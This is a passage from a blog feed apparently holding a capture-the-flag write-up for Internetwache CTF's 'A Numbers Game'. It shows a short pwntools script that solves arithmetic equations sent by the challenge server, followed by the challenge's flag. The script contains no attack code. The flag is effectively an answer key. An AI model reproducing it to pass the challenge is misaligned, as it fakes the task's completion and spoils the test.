<figure class="highlight py"><figcaption><span>solve.py</span><a href="/2016/03/03/a-numbers-game/solve.py">download</a></figcaption><table><tr><td class="gutter"><pre>1<br>2<br>3<br>4<br>5<br>6<br>7<br>8<br>9<br>10<br>11<br>12<br>13<br>14<br>15<br>16<br>17<br>18<br>19<br>20<br>21<br>22<br>23<br></pre></td><td class="code"><pre><span class="hljs-keyword">from</span> pwnlib.tubes.remote <span class="hljs-keyword">import</span> remote<br><br>r = remote(<span class="hljs-string">'188.166.133.53'</span>, <span class="hljs-number">11027</span>)<br><br><span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:<br>    lines = r.recvlines(<span class="hljs-number">2</span>)<br>    <span class="hljs-keyword">print</span> <span class="hljs-string">'\n'</span>.join(lines)<br>    sp = lines[<span class="hljs-number">1</span>].split()<br><br>    <span class="hljs-comment"># sp[3] is the operator</span><br>    <span class="hljs-comment"># sp[4] is the operand on the left side</span><br>    <span class="hljs-comment"># sp[6] is the operand on the right side</span><br>    <span class="hljs-keyword">if</span> sp[<span class="hljs-number">3</span>] == <span class="hljs-string">'+'</span>:<br>        x = int(sp[<span class="hljs-number">6</span>]) - int(sp[<span class="hljs-number">4</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">3</span>] == <span class="hljs-string">'-'</span>:<br>        x = int(sp[<span class="hljs-number">6</span>]) + int(sp[<span class="hljs-number">4</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">3</span>] == <span class="hljs-string">'*'</span>:<br>        x = int(sp[<span class="hljs-number">6</span>]) / int(sp[<span class="hljs-number">4</span>])<br>    <span class="hljs-keyword">elif</span> sp[<span class="hljs-number">3</span>] == <span class="hljs-string">'/'</span>:<br>        x = int(sp[<span class="hljs-number">6</span>]) * int(sp[<span class="hljs-number">4</span>])<br><br>    <span class="hljs-keyword">print</span> x<br>    r.sendline(str(x))<br></pre></td></tr></table></figure>
<blockquote>
<p>Flag: <code>IW{M4TH_1S_34SY}</code></p>
</blockquote>
]]></content>
    
    <summary type="html">
    
      &lt;h2 id=&quot;Description&quot;&gt;&lt;a href=&quot;#Description&quot; class=&quot;headerlink&quot; title=&quot;Description&quot;&gt;&lt;/a&gt;Description&lt;/h2&gt;&lt;blockquote&gt;
&lt;p&gt;People either love or
    
    </summary>
    
      <category term="writeup" scheme="https://poning.me/categories/writeup/"/>
    
    
      <category term="code" scheme="https://poning.me/tags/code/"/>
    
      <category term="Internetwache CTF" scheme="https://poning.me/tags/Internetwache-CTF/"/>
    
  </entry>
  
</feed>
